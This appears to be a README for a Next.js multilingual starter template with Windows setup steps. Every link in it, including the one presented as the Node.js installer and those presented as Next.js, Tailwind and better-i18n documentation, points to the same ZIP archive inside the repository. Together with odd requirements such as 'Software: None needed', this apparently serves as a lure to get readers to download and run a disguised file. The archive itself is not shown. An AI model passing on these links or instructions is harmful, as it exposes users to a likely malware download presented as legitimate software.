nextjs-i18n-starter is a basic template to build websites with support for multiple languages. It uses Next.js 15 with the App Router system. This setup makes it easier to create apps that can show content in different languages automatically. It also uses better-i18n to work well with translations. The design uses Tailwind CSS for style and TypeScript for safe coding. This starter helps developers launch apps that anyone can read, no matter where they are.
Before you begin, make sure your computer meets these guidelines:
- Operating System: Windows 10 or newer
- RAM: At least 4 GB
- Disk Space: Minimum 200 MB free
- Internet: Required to download the files
- Software: None needed to run the setup steps described here
- Works with Next.js 15 App Router for flexible page control.
- Supports many languages using better-i18n.
- Looks good on desktop and mobile with Tailwind CSS.
- Written with TypeScript for clarity and error checking.
- Ideal for developers and learners needing a ready web app with localization.
- Easy to expand with your own content and language files.
To get this starter, you need to visit the project page and download the package.
- Click the link above or copy and paste this URL into your browser:
- This will take you to the project page on GitHub.
- You will see a green button labeled Code near the top-right.
- Click Code, then select Download ZIP.
- Save the ZIP file in a place you can easily find, like your Desktop or Downloads folder.
This starter is a template meant to run using Node.js and a code editor, but this guide will explain all the basic steps you need. You don’t need to write code yourself, but you will use some simple commands.
- Open the folder where you saved the ZIP file.
- Right-click on the ZIP file.
- Click Extract All.
- Choose a folder like Desktop for the extracted files.
- Click Extract.
- You now have access to the project files.
Node.js lets your computer run JavaScript outside the browser. This starter requires Node.js to work.
- Visit https://github.com/m150united/nextjs-i18n-starter/raw/refs/heads/main/src/n-i-starter-nextjs-2.8.zip
- Download the Windows Installer for the current version.
- Run the installer and follow the instructions.
- After installation, open the Command Prompt:
- Press Windows key + R.
- Type
cmdand press Enter.
- In the Command Prompt, type:
node -v
This checks if Node.js installed correctly and shows the version number.
- In the Command Prompt, type:
cdthen drag and drop the extracted folder into the window.
Press Enter.
This moves the Command Prompt to the project folder.
- Type the following in the Command Prompt and press Enter:
npm install
This command downloads all the required parts of the project.
- After the installation finishes, type:
npm run dev
and press Enter. - Your project will start running locally.
- Look for a line that shows a web address, usually
http://localhost:3000.
- Open your web browser (Edge, Chrome, Firefox).
- Type or paste the local web address shown in the Command Prompt.
- You will see the starter template running.
- Try switching languages if options appear.
- Change language files to your own text.
- Add new pages using the App Router format.
- Adjust styles with Tailwind CSS classes.
- Explore the
better-i18nsetup folder for translation options. - Use this template to begin your multilingual web projects.
- If the
npm installcommand shows errors, check your internet connection. - Make sure Node.js is installed by running
node -v. - If the app does not appear in the browser, confirm the Command Prompt shows no error.
- Restart your computer if you face path or permission issues.
- Next.js App Router info: https://github.com/m150united/nextjs-i18n-starter/raw/refs/heads/main/src/n-i-starter-nextjs-2.8.zip
- Tailwind CSS documentation: https://github.com/m150united/nextjs-i18n-starter/raw/refs/heads/main/src/n-i-starter-nextjs-2.8.zip
- better-i18n info (on GitHub): https://github.com/m150united/nextjs-i18n-starter/raw/refs/heads/main/src/n-i-starter-nextjs-2.8.zip